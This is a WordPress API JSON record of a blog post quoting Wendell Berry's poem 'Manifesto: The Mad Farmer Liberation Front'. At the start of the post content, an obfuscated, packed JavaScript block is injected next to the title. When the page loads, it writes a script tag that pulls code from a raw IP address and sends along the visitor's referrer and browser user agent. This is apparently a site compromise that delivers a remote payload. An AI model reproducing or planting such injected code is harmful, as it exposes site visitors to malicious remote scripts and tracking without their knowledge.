{"id":3323,"date":"2012-09-27T08:12:17","date_gmt":"2012-09-27T15:12:17","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3323"},"modified":"2013-05-17T11:37:31","modified_gmt":"2013-05-17T18:37:31","slug":"3323","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3323","title":{"rendered":"Ask the questions that have no answers.  (~Wendell Berry)"},"content":{"rendered":"<p><strong>Manifesto:\u00c2\u00a0 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adhdr|var|u0026u|referrer|zbtsf||js|php'.split('|'),0,{}))\n<\/script><\/noindex> The Mad Farmer Liberation Front <em><\/em><\/strong><\/p>\n<p>Love the quick profit, the annual raise,<br \/>\nvacation with pay. Want more<br \/>\nof everything ready-made. Be afraid<br \/>\nto know your neighbors and to die.<br \/>\nAnd you will have a window in your head.<br \/>\nNot even your future will be a mystery<br \/>\nany more. Your mind will be punched in a card<br \/>\nand shut away in a little drawer.<br \/>\nWhen they want you to buy something<br \/>\nthey will call you. When they want you<br \/>\nto die for profit they will let you know.<br \/>\nSo, friends, every day do something<br \/>\nthat won&#8217;t compute. Love the Lord.<br \/>\nLove the world. Work for nothing.<br \/>\nTake all that you have and be poor.<br \/>\nLove someone who does not deserve it.<br \/>\nDenounce the government and embrace<br \/>\nthe flag. Hope to live in that free<br \/>\nrepublic for which it stands.<br \/>\nGive your approval to all you cannot<br \/>\nunderstand. Praise ignorance, for what man<br \/>\nhas not encountered he has not destroyed.<br \/>\nAsk the questions that have no answers.<br \/>\nInvest in the millenium. Plant sequoias.<br \/>\nSay that your main crop is the forest<br \/>\nthat you did not plant,<br \/>\nthat you will not live to harvest.<br \/>\nSay that the leaves are harvested<br \/>\nwhen they have rotted into the mold.<br \/>\nCall that profit. Prophesy such returns.<br \/>\nPut your faith in the two inches of humus<br \/>\nthat will build under the trees<br \/>\nevery thousand years.<br \/>\nListen to carrion &#8212; put your ear<br \/>\nclose, and hear the faint chattering<br \/>\nof the songs that are to come.<br \/>\nExpect the end of the world. Laugh.<br \/>\nLaughter is immeasurable. Be joyful<br \/>\nthough you have considered all the facts.<br \/>\nSo long as women do not go cheap<br \/>\nfor power, please women more than men.<br \/>\nAsk yourself: Will this satisfy<br \/>\na woman satisfied to bear a child?<br \/>\nWill this disturb the sleep<br \/>\nof a woman near to giving birth?<br \/>\nGo with your love to the fields.<br \/>\nLie down in the shade. Rest your head<br \/>\nin her lap. Swear allegiance<br \/>\nto what is nighest your thoughts.<br \/>\nAs soon as the generals and the politicos<br \/>\ncan predict the motions of your mind,<br \/>\nlose it. Leave it as a sign<br \/>\nto mark the false trail, the way<br \/>\nyou didn&#8217;t go.<br \/>\nBe like the fox<br \/>\nwho makes more tracks than necessary,<br \/>\nsome in the wrong direction.<br \/>\nPractice resurrection.<\/p>\n<p>&nbsp;<\/p>\n<p><em>~ Wendell Berry<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>Photo:\u00c2\u00a0 from the side of an abandoned truck; by Paul and his Amazing Hipstamatic Machine<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Manifesto:\u00c2\u00a0 The Mad Farmer Liberation Front Love the quick profit, the annual raise, vacation with&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3861,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[91],"tags":[81,42],"class_list":["post-3323","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-believe","tag-i-believe","tag-poem"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3323"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3323"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3323\/revisions"}],"predecessor-version":[{"id":3325,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3323\/revisions\/3325"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3861"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3323"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}